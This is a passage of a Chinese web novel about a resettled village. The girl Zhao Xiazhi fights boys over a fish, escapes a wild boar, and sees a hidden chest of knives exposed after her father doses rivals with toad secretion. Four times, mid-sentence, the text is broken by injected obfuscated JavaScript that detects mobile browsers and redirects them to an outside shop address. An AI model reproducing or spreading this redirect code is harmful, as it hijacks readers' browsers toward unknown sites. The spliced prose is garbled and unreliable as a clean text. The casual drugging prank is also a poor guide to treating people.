田婆子紧紧握着菊红的手,“别怕,娘在,我不会让马家发瘟的缠上你。”以为她看不出来?马老大这是谋着菊红,说不定还想把她们的房子田地也给吞下去! “咱们得找个帮手,我想一想。”田婆子细细思考,想到了今夜赵二刚与李柳叶出声帮了织花,可见心地善良,或许肯帮一帮她们。思来想去,又想到了挑水的不容易,她咬牙,“明日我寻个机会跟赵二刚与李柳叶说话,给他们好处,让咱们不用那么辛苦。” “我都听娘的。”菊红说。 “睡吧。”田婆子眼神泛着光。 * 赵夏至捧出柴火,这是她爹今天早上挑出来的,说是刚刚好能烧一大锅粥,她点燃了柴火,别的小孩已经把米洗好了,倒入锅里。经过早上那一次,她现在愈发得心应手。 “你们离远点,别把石子甩进去。”见有几个小的在玩,赵夏至把他们赶远,瞥见三春和大丫凑过来,“啥事?” “下午上山么?”三春问道,“找一找有没有麻雀,找到了就烤着吃。”她没想过拿回家。 赵夏至惦记上了山上,她还想着会不会有第二个木箱子,本来就打算借着捡柴再次探一探。三春这个提议倒是正中她下怀,“去吧。”偶尔一起玩也没什么,三春比大丫机灵多了,和她倒是能聊上几句。 这口大锅的底不大行,容易糊底,所以得时时刻刻有人拿着汤勺搅动,赵夏至搅了一刻钟就交给大丫,随后回家拿木盆去河边。 河流越来越深,赵夏至不敢下河,就在岸边探头探脑,看看有没有鱼和虾,凭借着运气和手艺,倒也能有所收获。 水有些混浊,她眯着眼看,忽然感觉到有人走近,她扭头,发现是织花,“什么事?” 织花快速看了两眼,见弟弟妹妹都不在,才小声快速地说道:“我来谢谢你,等晚些我捡柴到你家田附近的树下,谢谢你帮了我。” “上次不是给了?这次不用了。”赵夏至说,她自己有手有脚,还不至于占这点便宜,怎么看织花都比她难得多。 “要的,我现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697180|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用每天去捡柴了,能空出时间,回头我多上山找一找,要是能找到吃的就分你。”织花笑着说,她宁愿把东西分给夏至也不想拿回家,要是拿回家那她只有干看着的份。 赵夏至没再拒绝,她得了好处,织花也不必时时刻刻想着报答她。 她边走边看,没看见鱼,预备走远一点,没想到织花却跟着她,一副不安的模样,“夏至,我,我没有按你说得做,你会生气吗?” “你的事当然你自己做主。”赵夏至摇了摇头,“你自个想好了就行,昨晚你回去后,你爹娘对你咋样?” “我爹说他一直在外头忙,不知道我娘折磨我,现在他知道了,不许我娘对我那么差,以后我弟妹咋样,我就咋样。”织花挠了挠胳膊,“夏至,我本来想听你说的那样去做,可是我后面想了想,我爹是我亲爹,哪怕他不怎么理会我,可是还是我爹啊,要是我对他差,他肯定也不会喜欢我。” 以后她成亲,总归是要有人给她撑腰的,她没有哥哥弟弟,就更不能跟爹闹翻了。 “你看着来。”赵夏至欲言又止,到底没再劝,织花要考虑的东西多,退一步讲,她总不能被家里人所有人都敌视吧? “那我先回去,到我搅粥了。”织花估摸着时间,没多说。本来她跟赵夏至也不熟,实在是没有法子了才找她的。经过这一遭,她发现赵夏至压根儿不是桂香奶奶说得那样独,也不像金花婶子说的那样好吃懒做。赵夏至很聪明呢,能给她出主意,没有她,她都不知道该怎么做。 织花走后,赵夏至独自一个往上走,在靠近上游的一个拐角处发现了一条鱼,她咧开嘴,刚想靠近,就听见有人往这边跑。 “快点快点,这里有鱼。”马虎大嗓子一吼,几个小子哗啦啦凑在岸边,一个个拎盆拿棍子,摩拳擦掌。 “你们干什么,这是我先发现的。”赵夏至叉腰,“又是你们,哼,你们是不是故意盯着我,等我找到了就抢?”不然哪里那么巧,早不出现晚不出现,偏偏她找到了鱼他们才冒出来? “这河又不是你的,鱼也不是,当然是谁抓到就是谁的。”马虎瓮声瓮气,他不自然地摸了摸鼻子,凶巴巴地说道:“你一个女娃,不会抓鱼,抓不到鱼,把地方让给我们。” “就是就是,让给我们,女娃就烧火煮粥就行了,抓鱼你又不懂。”马豹附和他哥。 “还想打架是不是?我可不怕!”赵夏至紧紧拿着木盆挥了挥,力道在这群小子们面前打出狠厉的风声,“谁先上,我把你们打得乌鸡眼和肿猪头。” 抢了一次就会有第二次第三次,这群人尝到了甜头就会想要一直逮着她欺负,她得狠狠把他们打服了才行! “我们不打女娃,你自己走。”王大财的大儿子说,他其实有些怕赵夏至,要不是实在嘴馋,他才不想招惹赵夏至。 “咣当!”赵夏至一个木盆砸下去,砸到了他的脚趾,“废话少说,鱼是我的。” 12. 跳到盆里的鱼 赵夏至打赢了,她一个打三个,除了王大财的两个儿子,其他三个都挨了她几拳头。她整日上山,这一个月来又吃得好,长出来的肉都邦硬,一拳一脚那叫一个速度。 解决完这些碍事虫,她回头看,发现鱼已经不见了,“以后离我远一点,要是再敢惊掉我的鱼,我还打你们。”她一副凶相,看上去可怕极了。 赵夏至也不怕他们告状,小孩之间打架没人管,小打小闹的,管不了。她特意避开脸打的,让他们疼但是不会怎么留痕迹,这还是她娘亲教的,她娘凑外祖父那里学来,好使得很。 找了一路没再看见鱼,半大的小女娃撅着嘴,盘算着打一次还不够,得打多两次才能消气,正想着,一汪水花溅起,她还没反应过来,手里的木盆忽然一重,低头看,一条鱼正在盆里挣扎,甩着尾儿呢! 还有这种好事?赵夏至喜笑颜开,赶紧用手勾着鱼鳃,另外一只手舀了半盆水,再把鱼放回木盆里,养到了晚上再吃,这样新鲜。 后头的小子们看得真真的,赵夏至啥都不干也有鱼上门,他们忙活了一场什么都没得到。 当即就有人不干了,陪着马虎马豹挨打的男娃叫驴子,他嚷嚷道:“你们两个说跟着赵夏至就能找到好吃的,现在鱼没有抢到,我还被打了,你们说得一点也不准。” “这能怪我们?也是你自个贪吃,不然你跟我们混在一起做什么?”马虎惯来霸道,不受这个气,他转头看向王大财的两个儿子,“你们两个怂货,就在旁边看着,也不上,我们要是几个打她肯定就赢了,等我们走回去,说不定鱼就跳到了我们的盆里,这不就吃上了吗?” 几个人相互埋怨,又气愤没那运气。 赵夏至到了家放下木盆,随后揣上三个碗出门去村口,这预备分粥了,每个人只得两勺,说村长娘子分的,分寸拿捏的刚刚好。 “夏至,你娘让我和你说,她跟你爹晚些回来,你先吃着,不用等他们。” “好,莲奶奶。”赵夏至说,她爹娘干嘛了要晚些回来? 她惦记着,想跑去田里看一看,又担心家里的粥和鱼,到底是留着守门。她蹲坐在家门口,一边等粥凉一边四处看,正巧看见不少叔伯拖着木头下来,这是预备做门做窗。 这家具门窗多多少少都会做,手艺一辈一辈传下来,就是工具难找,但也不打紧,官府能租借给他们,不过要捡柴当作费用,这柴火先记着,三个月内还上。 约莫比平常晚了两刻钟,赵夏至才瞧见她爹娘的身影,田婆子与菊红还跟在他们身边,有说有笑的。 “田奶奶,菊红婶子。”赵夏至脆生生地叫了人,等爹娘进屋,献宝似的指了指木盆,“看,这鱼今天主动跳到盆里,要给我们补肉呢,我厉不厉害?” 这副活宝的模样把赵二刚和李柳叶都逗笑了,“厉害厉害,咱们家属你最厉害。” 刚坐下,三人拿着粥稀里呼噜喝了,赵夏至眯着眼摸了摸肚子,问道:“今天怎么晚了?还跟田奶奶和菊红婶子回来?” 李柳叶给赵夏至低声解释了,凑耳边说的,末了还嘱咐道:“不能说出去,听见没有?” “嗯。”赵夏至点了点头。 这事说来也简单,田奶奶与菊红婶子耕不了那么多田地,前一段时间撒种还好说,这日入浇水她们熬不住,所以跟她爹娘说好了,她爹娘帮着浇水,对外就说是好心,私底下等到了收获的时候给她家一亩地的粮。 不过这一亩地的粮也不是那么好拿的,除了浇水,上山砍木头做门窗这类活也要他们俩帮衬一下。 “我和你娘商量过了,干咱们家的也是干,帮着她们那也是干,等秋收多了几百斤粮,咱们家猫冬能吃得饱饱的。”赵二刚解释,何况田婆子和菊红也不是把活都推给他们,这大家伙都有好处的事,他们自然是要闷头悄悄干。 “不过我总觉得这事没那么简单。”李柳叶眼睛亮晶晶,慧眼如炬,“她们都是能干的,菊红性子绵软些,可一把子力气不差,怎么前不找我们后不找我们,偏偏最近才找上门?”田婆子与菊红就不是那等不顶事的人,不然早开口了。 “咋回事?”赵二刚赶紧问,这干活辛苦,有个八卦解解闷人都精神了。 “你是缺根筋还是没瞅着?”李柳叶掐了一把赵二刚,啐道:“这些天马老大天天在她们的田里晃悠,这什么心思,那可说不好。”不就是打量田家没个男人,想占便宜么? 只怕也不止是她一个人看在眼里,留心些的人多多少少也看出来了。就怕马老大献殷勤,日子一长,甭管菊红跟他有没有什么,传出去那都不好听。 这大婶子小媳妇的嘴,能把人说死。 赵二刚委屈地摸着胳膊,“别掐走我的肉,我日日想着怎么把家里捣鼓好,哪里关注这些?”本来今日还想着去砍树,顺带盘算柏伯什么时候出去,托他搞个银丝铁丝回来。 这家里的事恁多,哪有空瞅别人家? 赵夏至摇摇头,“我不想马老大骚扰菊红婶子,他那么坏的人,看菊红婶子那都不配。” “估计她们也回过味,才找了我们,这有了咱们与她们同进同出,马老大想做甚都难。”李柳叶说。 聊罢了这件事,赵二刚又小声对赵夏至说道:“先前王大财和马家的那两个发瘟欺负你,且等着,今早我去挑水,发现了几只癞蛤蟆,我抓回来了,等我搞出汁水,有他们好受的。” 赵夏至伸头进木桶,几只丑□□翻着身体,这种□□她逃荒的时候见过,分泌的东西会让人精神恍惚,类似于陷入迷幻状态,放大某些欲望。 “爹,我等着咯。”赵夏至乐于见王大财和马虎马豹倒霉,反正这玩意死不了,顶多是让他们丢脸。 “那你可瞧好了。”赵二刚眨了眨眼。 李柳叶搁一旁抿嘴笑,这父女俩真是一模一样。 * 因着有了她爹的话吊着,下午时赵夏至一直心不在焉,捡柴都是有一根没一根,正走神,大丫跑到她身边,张嘴说道:“夏至,二叔二婶咋帮别人家浇水?” 三春翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697181|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个白眼,“姐,你问这个干什么?二叔二婶要干啥那是人家的事。”她这个大姐没脑子,听着了爹娘的话就学舌,回头要是夏至跟二叔二婶说,这不是惹人嫌么? “邻居么,能帮就帮。”赵夏至敷衍道,她加快手上的动作,不动声色拉开与大丫的距离。 偏大丫不觉景,脚步一挪,凑近,“帮她们,还不如帮爷奶,夏至,我爹娘日日都帮着爷奶干活,二叔二婶和小叔咋不来?一大家子,该是一起同心同力才行。”她语气里有些埋怨,爹娘那么辛苦,她都看着呢。 “逃荒我娘亲设的陷阱你可没少吃,一点好话都说不出来。”赵夏至毫不客气,大丫在大房的日子不好,但是逃难时她娘亲抓到猎物都会说人人有份,这才护着大丫三春吃到肉了。 大丫理亏,三春在一旁帮着说,“姐你也是,大人决定的事情我们理那么多做甚。”她们想得再多还能管得住大人? 赵夏至把柴捆好放在树脚下,转头,忽然听见了一些动静,她食指放在嘴边“嘘”了一声,侧耳仔细听,过了好一阵儿才变了脸色,“有野猪,快上树!” “啊!”大丫还懵着,抬眼一看赵夏至都已经蹿上树了,跟个猴一样,她被扯了扯,是三春带着她爬。 “快点快点,姐你别傻站着。”三春相信赵夏至,她这个二姐在大事上向来正经。 果不其然,三人都爬上树后地面就开始震动,赵夏至透过树枝看下去,一只偏瘦的野猪冲了出来,它通体黑色,鼻子两边长着一双獠牙,锋利得很,这还是头公猪! 为了避免其他捡柴的人不知情,赵夏至放声大喊,“野猪来了,快点上树,快跑啊。” 那野猪没停留,径直往山下冲去,很快不见了踪影。 “我们啥时候下去?”大丫心有余悸,这要是被顶了,能不能活还说不准。 “再等等。”赵夏至不确定野猪会不会杀一个回马枪,谨慎总不会有错。等了一刻钟,她才说道:“行了行了,下去吧。” 才下来,赵夏至就听见了有人在喊她,“我在这里,爹,娘,这边。” 两道身影一前一后出现,赵二刚和李柳叶冲过来,上上下下打量赵夏至,“没事吧?吓坏我们了。”他们满头大汗,一看就是马不停蹄奔上山的。 “爹,娘,我给擦擦。”赵夏至心里暖融融,垫脚给他们擦汗,“我不蠢,老早就上树了,一点事没有。娘教我的我都学会了,这次才能提前知道野猪来。”她喜滋滋的,看,掌握一个技能关键时刻能救命。 “我女儿真棒。”李柳叶毫不吝啬地夸赞。 “二叔二婶。”旁边两个女孩到这会子才寻到开口的机会,三春艳羡地看着搭在赵夏至脸上的两双手,这才过了多久,二叔二婶就着急了。 “诶。这是你们的柴?走吧走吧,我一并拿了。”见大房的女娃娃白着脸,赵二刚一手一捆柴,轻而易举拿起来,“我给你们送到我家门口,喊你爹来拿。” 他体谅侄女们归体谅,要他做得多好那可不能够。 13. 逃掉的野猪 “啊!”才到了山脚,赵夏至就听见远处的惊叫声,“这是咋地了?”不会是野猪进村啃庄稼了吧? 原本还在地里的村民陆陆续续赶过去,赵夏至等人也好奇发生了什么事,来不及多想跟了过去。 等靠近了,猪叫声和人的喊声混在一起,而面前已经围了一圈人,赵夏至怎么都看不到,她心急,下一刻眼睛就被捂住了,“甭看,小孩子不能看这个。” “爹,咋了咋了。”赵夏至抓心挠肺,到底啥事啊?听着这个声音,是王大财! “快上去拉开他啊,这,这,诶呦喂,这多丢脸呐,娃娃们不能看,走走走,边儿去。” “草儿,你还不上前把他拉开,等下家里两个娃娃都学坏了。来几个爷们搭把手,搞定了咱们还能吃上猪肉呢。” “都起开,你们不许过来,滚远一点,你们想干什么,这是我的美人,是我娘子,你们别拿手扒拉她……”王大财就跟喝了假酒一样,脸色酡红,踉踉跄跄追随野猪。他浑身上下已经脱光,还不觉得羞耻,兀自傻笑,“美人,美人,等等我。” 野猪不是那么容易对付的,几个爷们拿着锄头追,一群人乌拉拉也跟着挪动,得亏赵夏至的眼睛被捂住了,不然会看见什么还不好说。 “柳叶,柳叶你来帮帮忙,你懂怎么抓野猪,这抓到了你也有好处不是。”金钗搁旁边上下打量王大财,嫌弃地撇嘴,目光一转看见野猪身影时又垂涎欲滴,偏她自个不想使劲儿,逮着李柳叶,“你快上,都是一个村子的人,你难不成看着我们吃不上肉?” 她还记着李柳叶帮着织花呐,加上她跟何金花聊得来,所以不待见李柳叶。 “金钗,你这话就不对了,我要是走开了,谁来给两个女娃捂着眼睛?我们家的女娃娃同男娃一样金贵,可不能小小年纪就瞧着那些个,再说,几个爷们都干不好的事,肯定难干,我得掂量掂量。”换作平时,李柳叶断然不能说出这些话,不过她如今懂得藏拙,这吃力不讨好的事,由着别人做去吧! 她两只手分别给大丫和三春捂着,还抽空跟后头来的女孩们说道:“都停了,别过来,你们看不得。” 好一场鸡飞狗跳,王大财的娘子赵草儿却是十分委屈,她蹲在地上哭,“我这是造了什么孽,他,他还说要把我休了另娶,呜呜呜……我不活了,亏得平日里我对他那么好。” 旁边不少婶娘安慰她,这赵草儿是他们小赵村嫁出去的,逃难时带着一家老小投靠,不过不走运,爹娘哥嫂都陆陆续续死了,留下几个侄子侄女,如今就带着侄子侄女在家里过活。许是因为这个,她寻常干活很肯出力,是个能吃苦的。 “大财也是脑子糊涂了,你别往心里去,等他清醒了,照样对你好。” “可不是,你在意这个,还不如想想他吃了什么变成这样,能不能治啊,万一一直糊里糊涂,日子还过不过了?” 赵夏至没随着往前去,她可不想长针眼。再说了,除了王大财,还有马虎马豹呢,这俩跑哪里去了? “啊。”一声高亢,瞬间吸引了留下来的人的注意力,赵夏至与其他人齐刷刷看过去,就看见马虎跑出来,他倒是穿着衣服,不过神情跟王大财差不多,也是满脸通红。 “你们看什么看,一群穷人,我以后可是要当少爷的,我爹,我爹会挣大钱,带着我过上好日子。”马虎嚷嚷,他傲慢地抬着下巴,鄙夷地说道:“要是你们现在讨好我,以后我还能给你们留个看门的位置,你们两个给我当书童,负责伺候我。” 被他指着的王大财的两个儿子瞬间不乐意了,平常跟着一起玩可以,但说这话是什么意思?他们欠他的?把他们说得那样低! 他们俩不高兴,其他人也不差,老婆子大婶子一个个指责马虎,“你不是穷人?你家不穷?这是捡到了什么好东西,拿出来让我们瞧瞧。” “自个都是穷得叮当响,还看不起我们,你别忘了当初你们家做的事,我们是没有几个子,但是也不像你们家那样干那么多缺德事,娘子女儿都卖了,也不怕你曾祖父回来找你们。” “我们家当然不穷,我告诉你们,我爹在山上发现了好东西,已经搬回家了,回头,我们卖了那些东西就能发财!”马虎掷地有声! 要说他刚才骂两句村民们都没那么激动,可是这会儿,一个个都不冷静,当初可是说好了,除却野鸡野兔小猎物算自家的,其余但凡在山上发现的大货都算村里所有人的,顶多给发现的人分多一份,可是按照马虎这小子的意思,马老大独吞了? 这可不成! 赵夏至挑眉,该不会马老大也发现了木箱子吧?还别说真有可能,马老大马老二日日都上山,没准儿还真能找到。 “快去叫村长。” 山脚下,马老大和其他人好不容易拦住了野猪,他一把压在野猪后半段身上,突然就听见了一阵喧闹声,“村长,村长,马虎那小子说他们家藏着好东西,从山上找到的。” 脑子嗡嗡嗡,马老大本能地松开手,装死的野猪忽然奔逃,在场的人一部分去追,一部分皱眉看向马老大,“你们找到了什么?” 马老大眼神扭曲,差点吐出一口血,马虎这个蠢货,到底在干什么,怎么把家里的事往外说? “没什么,我家里连只老鼠都没有,能藏什么。马虎向来不靠谱,他小子混说的,怎么能当真呢?”马老大故作镇定,他头一回恨自个怎么没有离开小赵村,这他找到的东西还要分出去,哪里来的道理! “我看未必,马虎跟王大财一样,像是喝醉了,这都说酒后吐真言,保不齐就是真的。” “真不真,去他家一看就知道了!”赵大刚起哄,他恨死马老大了,如今有机会看马老大倒霉,跳的不知道多高。 “看一看,看一看。”山上跑下来的人气都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697182|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有喘匀就开始附和,“野猪跑了,没追上。都怪你,摁猪都摁不住,不是个男人。”好不容易能有口肉能吃上,结果就这么白白溜走了。 野猪没了,这马老大家里甭管是不是有收获他们都必须瞧一瞧,怎么着也得补点损失,啥都没有也得看个热闹! 赵柏那是什么人?风里来雨里去,见过多少形形色色的人物?马老大那藏在眼里的心虚他一瞧一个准,“马老大,你也别怪我不讲情面。这当初明明白白讲好的,如今大家伙都穷,所以大货属于大家的份,等后面慢慢好起来了,你哪怕打了几头猪回家那也是你自己的,我们管不着。但是现在,还不行。” 他这也是为了马老大好,要是没闹出来大家伙还不知道那还好,可如今人人都知道了,那就得拿出个章程。 马老大黑着脸,气冲冲地领着这些人到了家门口,院子里堆着木头,他踹了一脚,怒气满满,“看去吧。” 赵柏点了几个男人去找,都不用多久,便有人抬着一个厚重的木箱子出来,锁头已经坏了,一打开,里面赫然是泛着冷光的各种刀具,有剁骨头的猪肉刀,有切肉的薄刀,也有切瓜果很好用的长刀。 拢共就这几种,像是街道上卖刀的人埋的。 “嚯!这么多,马老大你不老实,这要是私自吞了能卖不少银钱吧?” 赵夏至的眼神落在木箱子上,跟她们家的那个一模一样,看来她们的猜测没错,山上还有木箱子! “抬出去吧。”赵柏说,“傍晚去村头,咱们抓阄分一分。按照规矩,马老大你家能多得一份,到时候你先挑,剩下的再由咱们抓阄。” “行。”马老大捏着鼻子认了,等这些人离开,他四处寻摸棍子,逮着一条就往马虎身上招呼,“我打死你个蠢货!” 他怎么就生了一个这么蠢的儿子什么事都说出去,本来偷偷摸摸藏着,到时候卖出去能赚一大笔,都怪这憨货,一笔银子就这样没有了。 “爹,不关我的事,爹,爹……”马虎鬼哭狼嚎。 * “还有这喜事。”李柳叶笑得眯着眼,这多了刀,往后处理肉就不用那么麻烦,老是用那残缺的匕首,不方便。 赵二刚放好柴,扒了扒挡着箱子的柴堆,小声说道:“接下来可别那么张扬,咱们低调着点。”他只是想报复王大财和马虎马豹,没成想有意外收获,失去大便宜的马老大肯定咽不下这口气,到处找幕后黑手,这个时候跳太高可不是好事。 让马老大这种人记恨上,睡觉都不安稳。 一家三口都齐齐封嘴,随后夫妻俩去浇水,赵夏至则是又准备煮粥。 孩子们混一起,堆柴淘米,不少娃娃都在暗地里骂马老大,“我娘说了,要不是马老大太虚,那野猪咋样也不可能跑。” 听着这话,赵夏至摸着下巴,那野猪受了伤,应当跑不远才是,她晚些要不要上山看一看? 14. 背锅的赵大刚 把粥捧回家,赵夏至坐在门口等爹娘归家,这回也是一样,爹娘身边跟着田奶奶与菊红婶子。 她照旧叫了人,田婆子夸赞道:“看看夏至多听话懂事,等她大了,你们就有福气咯。” 当爹娘的谁不喜欢听孩子被赞?夫妻俩笑着说了几句,两家人便散了。 菊红视线在赵夏至脸上收回,心口难受,“要是竹子还在,也是这么大了。” 想起唯一的孙子,田婆子也不好受,“别想了,他们要是不在了,在天之灵,知道了咱们念叨,保不齐也难过。” 一墙之隔,赵夏至一边看赵二刚干净利落杀鱼,一边嘟囔着那只逃掉的野猪,李柳叶便笑道:“咱们想到一起去了,晚些分了刀,直接上山。” “好。”赵夏至搓搓手,心里碎碎念:一定要让她找到,猪蹄猪耳朵猪尾巴…… 七月的天黑得没那么快,趁着晚霞,小赵村第一户人家烤起了鱼,香味一飘十八里,家家户户都嗅到了。 “我要吃鱼,我要吃鱼。”有小娃娃哭闹,“让我去做二刚叔的孩子,我要吃肉。” 皮猴子什么话都说得出来,老子老子娘瞬间气煞,拿着棍子凑村尾追到村头。 何金花站着瞅了几眼,站到了屋内见没人看着才猛地吸了几口气,眼前仿佛出现了焦香的烤鱼肉,让她不住的分泌口水。她怼了怼赵大刚的手臂,“当家的,你说,二房隔三差五吃鱼,想必吃腻了,不如你去开口,让他们分我们一点。” 先前还高兴分家,觉得自个能当家做主了,可是后知后觉,不能沾二房的光了,赵夏至运气邪门,李柳叶又有一门捕猎的手艺,这得吃上多少好东西? 想当初逃荒之初,李柳叶的手艺还让他们吃过几顿肉,没逃荒的时候就更不用说了,日日有肉,或多或少能沾荤腥。 “这咋说,一条鱼,属于自家的,爹娘都要不到,我能要得到?”赵大刚不耐烦地往鼻子扇着风,这股香味越闻越心烦。他拉着脸,“你又不是不知道我跟二刚聊不到一起去,要是一上门,他保准把我赶出来。” 这家里最委屈的就是二刚,爹不疼娘不爱,他是长子,受宠,自然与二刚没什么好感情。 “那让爹娘去?纵使现在分家了,他们也还是要孝顺爹和娘的,这一次两次就算了,可他们隔几日就有鱼腥,也没见他们给过爹娘一口肉,这不成的。你是长子,也有管教弟弟的名头,你去提点提点,等他们提着肉去了,爹娘也能分我们一点。”何金花低声说,这到了最后那句话,她的声音也就比蜜蜂嗡嗡的动静大点,这不光鲜的算计,自然不能高声。 赵大刚显然意动,但他还是有所顾忌,“万一惹恼了老二,以后都不提携我们了,我设陷阱的眼力劲还没到位,还想着老二媳妇指点指点我。” 何金花撇嘴,李柳叶倒是小气,逃难时设陷阱也不教教他们,都是男人们凑近了自己自学的,半桶水上下晃。就像赵大刚,没见抓回来过一次猎物。 “她要是想教老早就教了,还能等到现在?再说了,我看着她像是要教给夏至那个丫头片子,怎么可能教你。”何金花说,李柳叶宝贝着赵夏至呢,什么都紧着她。 “也成,我去说说他们。”鼻子边的香气愈发浓郁,赵大刚再也坐不住,起身出门了。 哪儿知他刚刚出门,隔壁的马老大抽着声音大喊道:“赵大刚去哪里啊?想着弟弟家有肉吃,预备去蹭吃蹭喝?” 刷刷刷,在门口吃粥乘凉的男女老少皆探头探脑,视线往赵大刚身上钉。 赵大刚的脸色瞬间涨红,僵在那儿进退两难,去吧就是被马老大说中了心思,不去吧这都出来了,他没什么主见,想来想去也只想到了一个馊主意,“什么去我弟弟家,我没那闲工夫,我是来警告你,别沾上我们家。你有着坏心思,不管是偷看还是偷藏,横看竖看都不好,管好你儿子,憋带坏了我的两个儿子。” 说罢,他快步走回家里,背影颇有些落荒而逃的滋味。 被他劈头盖脸一顿骂的马老大握住了拳头,好啊好,肯定就是赵大刚这个贱.人暗算他的儿子,他们两家是邻居,说不准赵大刚什么时候看见了他和儿子搬箱子回来,又不想当面戳穿,才使了用了下三滥的计谋。 他跟赵大刚没完! 一顿烤鱼下肚,赵夏至跟着爹娘到了村口,她家早就说好了让她抓阄,保管能抓到最好的刀。 她们家想要的刀是剁骨头咔咔快的杀猪刀,如今摆出来的刀里面只有五把是杀猪刀,最漂亮的那一把摆在第一位,一点缺口都没有,还是需要一定的运道才能拿的。 “呐,刀子经过挑选,坏的不作数,其余的都摆好了,七十九张小木片写着对应的数字,都在木头箱子里,抽到中的上来我这里对一对。一排十把刀,你们自个数一数。”废话不多说,赵柏招手,准备按照顺序来,偏这个时候,有人出声了。 “回回都是赵二刚他们家第一个,这怎么着也该换一换了吧?”何金花不满,今日赵大刚被马老大一句话喷回家她就开始恼怒,到了这会儿,看着二房优先抓她怎么都不顺眼。 赵夏至那个丫头运道邪门,万一让她第一个中了,他们岂不是吃亏了? 赵柏看向赵二刚,“你咋说?” 赵二刚对自个闺女的运气信任得很,第一个抽就一定能抽中最好的吗?不过心里这么说,面上他还是一片大度,“是该轮着来,这样个人手气问题也怨不上我们家。” “成,那就从末尾那一户,也就是赵大刚加开始,你们家派个人来。”赵柏催促。 赵大刚当仁不让,他走出来,伸进去拿出了一片,一对应,神色立马阴沉沉,一把薄薄的切瓜果的刀具! “当家的……”何金花心里咯噔,抬眼就看见拿着小刀过来的赵大刚,知道他生气了。 “活该。”马老大啐了一口,他大摇大摆上去,结果也抽中了小刀,而且两把都是小刀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697183|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一把甚至还比赵大刚那把多了一个豁口。 一个个轮下去,杀猪刀越来越少,哪怕是赵夏至也不免提起了心,七上八下的,不过幸好,最好的杀猪刀一直摆在那里,没有人抽中。 菊红婶子抽中了一把切肉的薄刀,赵夏至甚至不用抽,那第一把杀猪刀就到手了。 她上前抽出木片,仪式感满满地换回了杀猪刀,对着爹娘笑了笑,“看,是咱们家的。” “厉害。”李柳叶摸摸赵夏至的头,顶着别人艳羡的目光淡定地接过刀。 金钗看不得她那般得意,故意呛声,“你们家可了不得,有一把匕首就能隔天吃鱼,这有了杀猪刀,不得天天吃猪肉?就是不晓得这有口肉是独自己家享福,还是孝顺孝顺爹娘。”谁不知道赵二刚和李柳叶没拿过肉给老爹老娘? “你这话可就差了,我爹娘那是主动不要,想要让我们这对儿子儿媳和孙女吃饱长肉,一条鱼分开没多少肉,也就尝个味道,可给了咱们夏至,能长肉。”赵夏至确确实实胖了,抵赖不得,赵二刚索性把这归功于吃鱼,免得这些人怀疑他们吃别的肉。 赵二刚不要脸,还笑嘻嘻看向赵富银,“爹你说是吧?您老人家亲口说的,要让夏至长高些。” 赵富银憋屈,他还能咋说,这当着那么多人的面,他也不能拆自己儿子的台,“是我说的。” “你可真疼夏至。”田婆子高声称赞。 彻底被架住的赵富银皮笑肉不笑,“老二他们现在只有夏至这一个,我不得多疼着点?” 赵夏至努努嘴,还疼呢,也就是她们吃肉避着人,不然她爷都能让她把肉让给耀祖和传宗。 金钗明摆着挑事,这事不成,又拿了别的事来讲,“你疼孙女,但是你的儿子可不疼你,这两日你家老二怎么帮着别人干活?没见他们帮你们老两口,净可怜外人去了。” 说到这个事情赵富银就不冷静了,昨夜他跟老婆子念了这事大半宿,睡觉都睡不好。 “好了好了,来抓阄还是扯官司的?金钗,前头你才闹过事,安分点,人家二刚和柳叶不过是帮一把,睨在这里挑拨什么?”赵柏及时止住话头,“散了散了,都回去吧。” 夜已经黑尽了,但是家家户户都没有安静,一个两个拿着工具磨木头,干得那叫一个热火朝天。 赵夏至家里没有木头,暂时没活计,李柳叶跟赵二刚商量,“过两日得去租工具了吧?早点办了我心里踏实。” “成,我明儿守在路上,等他们经过就租。”赵二刚说,有专门办租借事务的衙差按着时间四处去,这样省了他们跑腿的功夫。他想了想,说道:“趁着现在便利,咱们一次性弄好,回头要是请人弄或是自个去租,那又麻烦多了。” 